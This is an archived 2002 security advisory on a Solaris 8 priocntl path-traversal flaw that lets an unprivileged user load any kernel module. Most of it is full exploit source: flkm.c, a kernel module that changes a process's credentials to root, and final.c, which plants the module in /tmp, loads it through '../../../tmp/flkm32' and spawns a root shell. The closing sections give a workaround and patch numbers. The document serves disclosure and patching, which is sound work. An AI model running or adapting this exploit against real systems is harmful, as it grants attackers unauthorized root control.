28th Nov 2002 [SBWID-5846]
COMMAND
Solaris priocntl exploit
SYSTEMS AFFECTED
Solaris 8
PROBLEM
From, [http://www.catdogsoft.com/S8EXP/], thanks to [jerryhj@yeah.net]
:
syscall priocntl(2) is used as process scheduler control it's declared
as below:
long priocntl(idtype_t idtype, id_t id, int cmd, /* arg */ ...);
while set 'cmd' arg to PC_GETCID, priocntl()'s function is like below
(see ManPage 'man -s 2 priocntl') "Get class ID and class attributes
for a specific class given class name. The idtype and id arguments are
ignored. If arg is non-null, it points to a structure of type pcinfo_t.
The pc_clname buffer contains the name of the class whose attributes
you are getting."
as it said, pc_clname points to a string specify the module. priocntl()
will load the module without any privilege check. The module's name is
a relative path, priocntl will search the module file in only
/kernel/sched and /usr/kernel/sched/ dirs. but unfortunately,
priocntl() never check '../' in pc_clname arg we can use
'../../../tmp/module' to make priocntl() load a module from anywhere
Exploit
=======
under 32-bit solaris, execute "./final" under 64-bit solaris, execute
"./final 64"
detailes on http://www.catdogsoft.com/S8EXP/
Package exploit : http://www.catdogsoft.com/S8EXP/release.tgz
--------flkm.c-----------------------------
/*
Writen By CatDog
the module find the user's proccess's cred struct
change it's owner uid to 0(root)
this code can work properly in any conditions
*/
#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <sys/proc.h>
#include <sys/user.h>
#include <sys/thread.h>
#include <sys/cred.h>
#include <vm/as.h>
#include <vm/seg.h>
#include <vm/seg_vn.h>
typedef unsigned int DWORD;
DWORD ptree[20]={0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,
0xffffffff,0xffffffff,0xffffffff,
0xffffffff,0xffffffff,0xffffffff,
0xffffffff,0xffffffff,0xffffffff};
/*
* This is the loadable module wrapper.
*/
#include <sys/modctl.h>
int _info(struct modinfo *modinfop)
{
return -1;
}
int _init(void)
{
proc_t *current,*pp;
pid_t rec;
int i,cnt;
for(i=0;ptree[i]!=0xffffffff;i++);
cnt=i;
cmn_err(CE_NOTE ,"Get Su: cnt=%d", cnt);
current=curproc;
while(current->p_pidp->pid_id!=0) current=current->p_parent;
pp=current;
for(i=0;i<cnt;i++) {
pp=pp->p_child;
cmn_err(CE_NOTE ,"Get Su: search pid=%d", ptree[i]);
while(pp!=0) {
if(pp->p_pidp->pid_id==ptree[i]) break;
pp=pp->p_sibling;
}
if(pp==0) goto ERR;
}
if(pp!=0) {
pp->p_cred->cr_ruid=0;
pp->p_cred->cr_uid=0;
cmn_err(CE_NOTE ,"Get Su: %d", pp->p_pidp->pid_id);
cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_ruid);
cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_uid);
}
ERR:
cmn_err(CE_NOTE ,"Get Su: not found");
return -1;
}
--------end of flkm.c-----------------------
--------final.c-----------------------------
/*
Writen By CatDog
the module find the user's proccess's cred struct
change it's owner uid to 0(root)
this code can work properly in any conditions
*/
#include <stdio.h>
#include <sys/types.h>
#include <procfs.h>
#include <unistd.h>
#include <errno.h>
#include <sys/priocntl.h>
#include <sys/rtpriocntl.h>
#include <sys/tspriocntl.h>
#define OFFSET 0x2dc
#define OFFSET64 0x39c
pid_t getpppid(pid_t pid)
{
psinfo_t psinf;
int fd;
char buf[256];
sprintf(buf, "/proc/%d/psinfo", pid);
fd=open(buf,0);
if(fd!=-1) {
read(fd, &psinf, sizeof(psinfo_t));
close(fd);
}
return psinf.pr_ppid;
}
void Load(int m64)
{
pcinfo_t pcinfo;
if(!m64)
strcpy(pcinfo.pc_clname, "../../../tmp/flkm32");
if(m64)
strcpy(pcinfo.pc_clname, "../../../tmp/flkm64");
priocntl(0,getpid(),PC_GETCID,(caddr_t)&pcinfo);
}
main(int argc,char *argv[])
{
pid_t pid;
pid_t ptree[20], *pptree;
int i,j,k;
int fd;
int m64=0;
if(argc==2) {
if(atoi(argv[1])==64) m64=1;
}
printf("is 64 bit: %d\n",m64);
pid=getpid();
memset(ptree, 0, 20*sizeof(pid_t));
ptree[0]=pid;
for(i=1;i<20;i++) {
pid=getpppid(pid);
if(pid==0) break;
ptree[i]=pid;
}
pptree=(pid_t *)malloc((i+1)*sizeof(pid_t));
k=0;
for(j=19;j>=0;j--) {
if(ptree[j]==0) continue;
//printf("%d %x\n", ptree[j], ptree[j]);
pptree[k]=ptree[j];
k++;
}
pptree[k]=0xffffffff;
if(!m64) system("cp -f flkm32 /tmp/flkm32");
if(m64) mkdir("/tmp/sparcv9",0777);
if(m64) system("cp -f flkm64 /tmp/sparcv9/flkm64");
if(!m64) fd=open("/tmp/flkm32",2);
if(m64) fd=open("/tmp/sparcv9/flkm64",2);
if(fd!=-1){
if(!m64) lseek(fd, OFFSET, SEEK_SET);
if(m64) lseek(fd, OFFSET64, SEEK_SET);
printf("%d bytes to write\n", i*sizeof(pid_t));
k=write(fd, pptree, i*sizeof(pid_t));
printf("%d bytes wroten\n", k);
close(fd);
}else{
printf("err! open flkm error!\n");
exit(-1);
}
free(pptree);
Load(m64);
printf("id=%d\n", k=getuid());
if(!m64) {
system("rm -fr /tmp/flkm32");
}
if(m64) {
system("rm -fr /tmp/sparcv9");
}
if(k==0) {
printf("SUCCESS! Enjoy RootShell!\n");
execl("/bin/sh","sh",NULL);
}else{
printf("fail!\n");
}
}
--------end of final.c-------------------------
SOLUTION
From Casper Dik [Casper.Dik@Sun.COM] comments :
The "pc_clname[]" argument is limited in size; to prevent this
particular bug from being exploited you could:
for dir in /kernel /usr/kernel
do
cd $dir
mkdir -p a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p
mv sched a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p
ln -s a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/sched .
done
Update (02 January 2003)
======
Patches are now available for Solaris 8 which resolve this bug.
This issue is addressed in the following releases:
SPARC
* Solaris 8 with patch 108528-18 or later
Intel
* Solaris 8 with patch 108529-18 or later
Both are available from http://sunsolve.sun.com/ for both contract and
non-contract customers.
Patches for Solaris 2.6, 7 and 9 will follow shortly.
Further details are available in Sun Alert 49131, available at
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F49131
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH